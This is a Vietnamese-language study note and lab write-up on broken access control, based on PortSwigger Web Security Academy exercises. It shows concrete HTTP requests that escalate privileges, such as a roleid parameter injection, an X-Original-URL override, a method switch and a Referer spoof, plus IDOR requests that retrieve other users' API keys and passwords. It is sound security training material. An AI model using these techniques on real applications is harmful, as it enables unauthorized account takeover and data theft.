What is access control?

Broken Access Control là lỗ hổng xảy ra khi ứng dụng không thực thi đúng các quy tắc kiểm soát truy cập, cho phép người dùng truy cập vào chức năng hoặc dữ liệu mà họ không được phép.

Vertical Privilege Escalations

Summary

Nếu một user có thể truy cập vào chức năng mà họ không được phép truy cập thì đây là vertical privilege escalation. Ví dụ, nếu một user không phải admin có thể truy cập trang admin để xóa tài khoản user khác, thì đây là vertical privilege escalation.

Unprotected Functionality

Lỗi cơ bản nhất của Vertical Privilege Escalation:

Summary

Ở mức cơ bản nhất, vertical privilege escalation xảy ra khi ứng dụng không thực thi bất kỳ biện pháp bảo vệ nào cho chức năng nhạy cảm.

Ví dụ, một website có thể host chức năng nhạy cảm tại URL sau:

https://insecure-website.com/admin

URL này có thể được truy cập bởi bất kỳ user nào, không chỉ những user có quyền admin. Trong một số trường hợp, URL admin có thể được tiết lộ ở các vị trí khác, chẳng hạn như file robots.txt.

URL có thể bị che giấu nhưng nó vẫn có thể bị lộ theo một cách nào đó:

Summary

Việc ẩn chức năng nhạy cảm không cung cấp kiểm soát truy cập hiệu quả vì user có thể phát hiện URL bị obfuscated theo nhiều cách khác nhau.

Ví dụ một ứng dụng host các chức năng admin tại URL sau:

https://insecure-website.com/administrator-panel-yb556

URL này có thể không thể đoán được trực tiếp bởi kẻ tấn công. Tuy nhiên, ứng dụng vẫn có thể rò rỉ URL cho user trong các file JavaScript.

Lab: Unprotected Admin Functionality

Nội dung của robots.txt:

User-agent: *
Disallow: /administrator-panel

Có thể truy cập /administrator-panel mà không cần xác thực. Xóa user carlos để hoàn thành lab.

Lab: Unprotected Admin Functionality with Unpredictable URL

Tìm thấy đoạn code sau trong trang /:

<script>
	var isAdmin = false;
	if (isAdmin) {
	   var topLinksTag = document.getElementsByClassName("top-links")[0];
	   var adminPanelTag = document.createElement('a');
	   adminPanelTag.setAttribute('href', '/admin-233j4q');
	   adminPanelTag.innerText = 'Admin panel';
	   topLinksTag.append(adminPanelTag);
	   var pTag = document.createElement('p');
	   pTag.innerText = '|';
	   topLinksTag.appendChild(pTag);
	}
</script>

Truy cập /admin-233j4q và xóa user carlos để hoàn thành lab.

Parameter-based Access Control Methods

Việc lưu quyền truy cập hoặc vai trò của người dùng ở trong một vị trí mà user có thể kiểm soát cũng có thể dẫn đến Vertical Privilege Escalation:

Summary

Một số ứng dụng xác định quyền truy cập hoặc vai trò của user khi đăng nhập, sau đó lưu thông tin này ở vị trí mà user có thể kiểm soát. Điều này có thể là:

  • Hidden field
  • Cookie
  • Query string parameter được preset

Ứng dụng đưa ra quyết định kiểm soát truy cập dựa trên giá trị được submit. Ví dụ:

https://insecure-website.com/login/home.jsp?admin=true https://insecure-website.com/login/home.jsp?role=1

Lab: User Role Controlled by Request Parameter

Sau khi đăng nhập thì nhận được 2 cookies:

Cookie: session=wtJyCD9fUAG3vKHIsbydJIxfPxwj5hTH; Admin=false

Thay đổi Admin thành true và truy cập được trang /admin. Xóa user carlos để hoàn thành lab.

Lab: User Role Can Be Modified in User Profile

Request dùng để đổi email:

POST /my-account/change-email HTTP/2
Host: 0aee00310426f20982e54868006500e7.web-security-academy.net
Cookie: session=IBmVAIQVh90KpntYkLigYhUVXH8Bh5Kc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: text/plain;charset=UTF-8
Content-Length: 36
Origin: https://0aee00310426f20982e54868006500e7.web-security-academy.net
Referer: https://0aee00310426f20982e54868006500e7.web-security-academy.net/my-account
 
{
  "email" : "wiener@administrator.net"
}

Response body:

{
  "username" : "wiener",
  "email" : "wiener@administrator.net",
  "apikey" : "Z0I4U3cXcYuBI2eMVTbEzpFs51uDvGE9",
  "roleid" : 1
}

Thử thêm roleid request body:

{
  "email" : "wiener@administrator.net",
  "roleid" : 2
}

thì thấy rằng chúng ta có thể thay đổi roleid của user hiện tại:

{
  "username" : "wiener",
  "email" : "wiener@administrator.net",
  "apikey" : "Z0I4U3cXcYuBI2eMVTbEzpFs51uDvGE9",
  "roleid" : 2
}

Truy cập /admin và xóa user carlos để hoàn thành lab.

Broken Access Control Resulting From Platform Misconfiguration

Ứng dụng có thể chặn user thuộc một role nào đó (chẳng hạn managers) truy cập vào resource cụ thể (POST /admin/deleteUser):

Summary

Một số ứng dụng thực thi kiểm soát truy cập ở platform layer bằng cách hạn chế truy cập vào các URL và HTTP method cụ thể dựa trên vai trò của user. Ví dụ, ứng dụng có thể cấu hình rule như sau:

DENY: POST, /admin/deleteUser, managers

Một số framework cho phép bypass bằng cách ghi đè URL cần truy cập thông qua các custom headers:

Summary

Một số application framework hỗ trợ các HTTP header không chuẩn có thể được sử dụng để override URL trong request gốc, chẳng hạn như X-Original-URLX-Rewrite-URL. Nếu website sử dụng kiểm soát front-end nghiêm ngặt để hạn chế truy cập dựa trên URL, nhưng ứng dụng cho phép URL được override thông qua request header, thì có thể bypass kiểm soát truy cập bằng request như sau:

POST / HTTP/1.1
X-Original-URL: /admin/deleteUser
...

Hoặc cũng có thể sử dụng method khác:

Summary

Nếu kẻ tấn công có thể sử dụng method GET (hoặc method khác) để thực hiện hành động trên URL bị hạn chế, họ có thể bypass kiểm soát truy cập được implement ở platform layer.

Lab: URL-based Access Control Can Be Circumvented

Dùng request sau để truy cập trang /admin:

GET / HTTP/2
Host: 0a8000de044890718098997b002900ab.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Referer: https://0a8000de044890718098997b002900ab.web-security-academy.net/
X-Original-Url: /admin

Dùng request sau để xóa user carlos:

GET /?username=carlos HTTP/2
Host: 0a8000de044890718098997b002900ab.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Referer: https://0a8000de044890718098997b002900ab.web-security-academy.net/
X-Original-Url: /admin/delete

Lab: Method-based Access Control Can Be Circumvented

Request dùng để nâng quyền:

POST /admin-roles HTTP/2
Host: 0ab200f303fc2692807d492c00790045.web-security-academy.net
Cookie: session=E0Penp8hMvA8NdPy0YqFk0LFCLhFJLl2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0ab200f303fc2692807d492c00790045.web-security-academy.net
Referer: https://0ab200f303fc2692807d492c00790045.web-security-academy.net/admin
 
username=wiener&action=upgrade

Khi gửi request này với cookie của winer:peter thì nhận được response sau:

HTTP/2 401 Unauthorized
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 14
 
"Unauthorized"

Đổi method thành GET và chuyển body params thành query params:

GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0ab200f303fc2692807d492c00790045.web-security-academy.net

Gửi request để hoàn thành lab.

Broken Access Control Resulting From URL-Matching Discrepancies

Một số ứng dụng rất khắt khe trong việc so khớp đường dẫn nhằm kiểm soát truy cập. Nếu chúng ta có thể khiến cho thành phần kiểm soát truy cập không so khớp được thì có thể bypass được:

Summary

Website có thể khác nhau trong việc so khớp chặt chẽ path của incoming request với endpoint đã định nghĩa. Ví dụ, họ có thể tolerant với việc viết hoa không nhất quán, vì vậy request đến /ADMIN/DELETEUSER vẫn có thể được map tới endpoint /admin/deleteUser.

Nếu cơ chế access control ít tolerant hơn, nó có thể coi đây là hai endpoint khác nhau và fail trong việc enforce các ràng buộc đúng.

Ví dụ về Spring framework:

Example

Sự khác biệt tương tự có thể xảy ra nếu developer sử dụng Spring framework đã enable option useSuffixPatternMatch. Điều này cho phép path với file extension tùy ý được map tới endpoint tương đương không có file extension. Nói cách khác, request đến /admin/deleteUser.anything vẫn sẽ match với pattern /admin/deleteUser. Trước Spring 5.3, option này được enable mặc định.

Một ví dụ khác:

Example

Trên các hệ thống khác, chúng ta có thể gặp sự khác biệt trong việc /admin/deleteUser/admin/deleteUser/ có được coi là các endpoint riêng biệt hay không. Trong trường hợp này, chúng ta có thể bypass access control bằng cách thêm trailing slash vào path.

Horizontal Privilege Escalation

Summary

Horizontal privilege escalation xảy ra nếu user có thể truy cập vào resource thuộc về user khác, thay vì resource của chính họ thuộc loại đó. Ví dụ, nếu một nhân viên có thể truy cập record của nhân viên khác cũng như của chính họ, thì đây là horizontal privilege escalation.

Cách cơ bản nhất để khai thác Horizontal Privilege Escalation:

Summary

Horizontal privilege escalation attack có thể sử dụng các method khai thác tương tự như vertical privilege escalation. Ví dụ, user có thể truy cập trang tài khoản của họ bằng URL sau:

https://insecure-website.com/myaccount?id=123

Nếu kẻ tấn công thay đổi giá trị parameter id thành của user khác, họ có thể truy cập trang tài khoản của user khác và các dữ liệu và chức năng liên quan.

Nếu ứng dụng sử dụng GUID để định danh người dùng thì cũng chưa chắc an toàn vì GUID có thể bị lộ ở đâu đó trong ứng dụng:

Summary

Ví dụ, thay vì số tăng dần, ứng dụng có thể sử dụng globally unique identifiers (GUID) để xác định user. Điều này có thể ngăn kẻ tấn công đoán hoặc dự đoán identifier của user khác. Tuy nhiên, GUID thuộc về user khác có thể được tiết lộ ở nơi khác trong ứng dụng nơi user được tham chiếu, chẳng hạn như tin nhắn hoặc đánh giá của user.

Nếu ứng dụng từ chối request và redirect về trang đăng nhập nhưng response có chứa thông tin về người dùng thì vẫn được xem như là lỗ hổng về quyền truy cập:

Summary

Trong một số trường hợp, ứng dụng phát hiện khi user không được phép truy cập resource và trả về redirect tới trang đăng nhập. Tuy nhiên, response chứa redirect vẫn có thể bao gồm một số dữ liệu nhạy cảm thuộc về target user, vì vậy cuộc tấn công vẫn thành công.

Lab: User ID Controlled by Request Parameter

Đăng nhập bằng tài khoản wiener:peter và gửi request đến /my-account?id=carlos để lấy API key.

Lab: User ID Controlled by Request Parameter, with Unpredictable User IDs

Khi xem trang /post?postId=3, tìm được đoạn code HTML có chứa GUID như sau:

<span id=blog-author><a href='/blogs?userId=8d8c3ecd-7c15-44fa-b240-9b725b06e82e'>carlos</a></span>

Đăng nhập và truy cập vào /blogs?userId=8d8c3ecd-7c15-44fa-b240-9b725b06e82e để lấy API key.

Lab: User ID Controlled by Request Parameter with Data Leakage in Redirect

Redirect response có đoạn code HTML chứa thông tin của người dùng:

<p>Your username is: carlos</p>
<div>
	Your API Key is: ukujEDz4tqCNdJiz5Ksa2MQkRnYHB0bE
</div>

Horizontal to Vertical Privilege Escalation

Horizontal privilege escalation có thể dẫn đến vertical privilege escalation nếu chúng ta có thể kiểm soát một tài khoản có đặc quyền:

Summary

Thường thì horizontal privilege escalation attack có thể được chuyển thành vertical privilege escalation bằng cách compromise một user có privilege cao hơn.

Ví dụ, horizontal escalation có thể cho phép kẻ tấn công reset hoặc capture password thuộc về user khác.

Lab: User ID Controlled by Request Parameter with Password Disclosure

Trang /my-account?id=wiener có chứa tài khoản của user wiener ở trong thẻ input như sau:

<input required type=password name=password value='peter'/>

Truy cập /my-account?id=administrator thì thấy có password như sau:

<input required type=password name=password value='lhmjvurse15j6hjous3b'/>

Đăng nhập bằng administrator:lhmjvurse15j6hjous3b và xóa user carlos để hoàn thành lab.

Insecure Direct Object References

Summary

Insecure direct object references (IDOR) là một subcategory của access control vulnerability. IDOR xảy ra nếu ứng dụng sử dụng user-supplied input để truy cập object trực tiếp và kẻ tấn công có thể thay đổi input để có được truy cập trái phép.

Lab: Insecure Direct Object References

Khi sử dụng chức năng tải transcript thì thấy URL có dạng như sau:

https://0af1007403cd2f9a80f14054001a00ae.web-security-academy.net/download-transcript/3.txt

Và nó bắt đầu bằng 2.txt thay vì 1.txt.

Thử thay đổi 3 thành 1 thì nhận được response có chứa password như sau:

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
Content-Disposition: attachment; filename="1.txt"
X-Frame-Options: SAMEORIGIN
Content-Length: 520
 
CONNECTED: -- Now chatting with Hal Pline --
You: Hi Hal, I think I've forgotten my password and need confirmation that I've got the right one
Hal Pline: Sure, no problem, you seem like a nice guy. Just tell me your password and I'll confirm whether it's correct or not.
You: Wow you're so nice, thanks. I've heard from other people that you can be a right ****
Hal Pline: Takes one to know one
You: Ok so my password is 6hty1zfxme8v42y4dspe. Is that right?
Hal Pline: Yes it is!
You: Ok thanks, bye!
Hal Pline: Do one!

Đăng nhập bằng tài khoản carlos:6hty1zfxme8v42y4dspe để hoàn thành lab.

Access Control Vulnerabilities in Multi-step Processes

Nếu ứng dụng thiếu kiểm soát truy cập cho một bước trong nhiều bước của một chức năng gồm nhiều bước thì cũng có thể dẫn đến việc ứng dụng bị tấn công:

Example

Ví dụ, chức năng admin để cập nhật thông tin user có thể bao gồm các bước sau:

  1. Load form chứa chi tiết cho user cụ thể
  2. Submit các thay đổi
  3. Review các thay đổi và xác nhận

Đôi khi, website sẽ implement access control nghiêm ngặt trên một số bước này, nhưng bỏ qua các bước khác.

Hãy tưởng tượng một website nơi access control được áp dụng đúng cho bước thứ nhất và thứ hai, nhưng không áp dụng cho bước thứ ba. Kẻ tấn công có thể truy cập trái phép vào chức năng bằng cách bỏ qua hai bước đầu và trực tiếp submit request cho bước thứ ba với các parameter cần thiết.

Lab: Multi-step Process with No Access Control on One Step

Request dùng để upgrade role:

POST /admin-roles HTTP/2
Host: 0a7900db03f9c0bb811252590030005b.web-security-academy.net
Cookie: session=KSKtZjhlBATCw56jmmGWpfAMnF31zNEL
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: https://0a7900db03f9c0bb811252590030005b.web-security-academy.net
Referer: https://0a7900db03f9c0bb811252590030005b.web-security-academy.net/admin-roles
 
username=carlos&action=upgrade

Request dùng để xác nhận:

POST /admin-roles HTTP/2
Host: 0a7900db03f9c0bb811252590030005b.web-security-academy.net
Cookie: session=KSKtZjhlBATCw56jmmGWpfAMnF31zNEL
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0a7900db03f9c0bb811252590030005b.web-security-academy.net
Referer: https://0a7900db03f9c0bb811252590030005b.web-security-academy.net/admin
 
action=upgrade&confirmed=true&username=carlos

Sử dụng cookie của wiener:peter ở trong request xác nhận để tự upgrade quyền với các tham số như sau:

action=upgrade&confirmed=true&username=wiener

Referer-based Access Control

Một số ứng dụng kiểm soát truy cập dựa trên header Referer và cách làm này có thể bị bypass do attacker có thể chỉnh sửa bằng proxy:

Summary

Một số website dựa access control trên header Referer được submit trong HTTP request. Header Referer có thể được thêm vào request bởi browser để chỉ ra trang nào đã khởi tạo request.

Ví dụ, ứng dụng enforce access control mạnh mẽ trên trang admin chính tại /admin, nhưng đối với các sub-page như /admin/deleteUser chỉ kiểm tra header Referer. Nếu header Referer chứa URL /admin chính, thì request được cho phép.

Lab: Referer-based Access Control

Trang /admin bị kiểm soát truy cập khi sử dụng tài khoản wiener:peter.

Request dùng để upgrade role:

GET /admin-roles?username=carlos&action=upgrade HTTP/2
Host: 0a62000f033d7793804103e90060006e.web-security-academy.net
Cookie: session=pFh24ubvigdIN7uMb1JvciEc3MHSTcFW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0

Tuy nhiên, khi gửi request trên có Refererhttps://0a62000f033d7793804103e90060006e.web-security-academy.net/admin bằng tài khoản wiener:peter thì lại thành công:

Referer: https://0a62000f033d7793804103e90060006e.web-security-academy.net/admin

Trong trường hợp Referer không kết thúc là /admin mà là một giá trị khác chẳng hạn như /ad thì response sẽ là:

HTTP/2 401 Unauthorized
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 14
 
"Unauthorized"

Location-based Access Control

Việc kiểm soát truy cập dựa trên vị trí địa lý có thể bị bypass bằng cách sử dụng proxy, VPN hoặc các cơ chế thay đổi vị trí địa lý ở phía client:

Summary

Một số website thực thi access control dựa trên vị trí địa lý của user. Điều này có thể áp dụng, ví dụ, cho các ứng dụng ngân hàng hoặc dịch vụ media nơi luật pháp nhà nước hoặc hạn chế kinh doanh được áp dụng. Các access control này thường có thể bị circumvent bằng việc sử dụng web proxy, VPN hoặc manipulation các cơ chế geolocation phía client.

Resources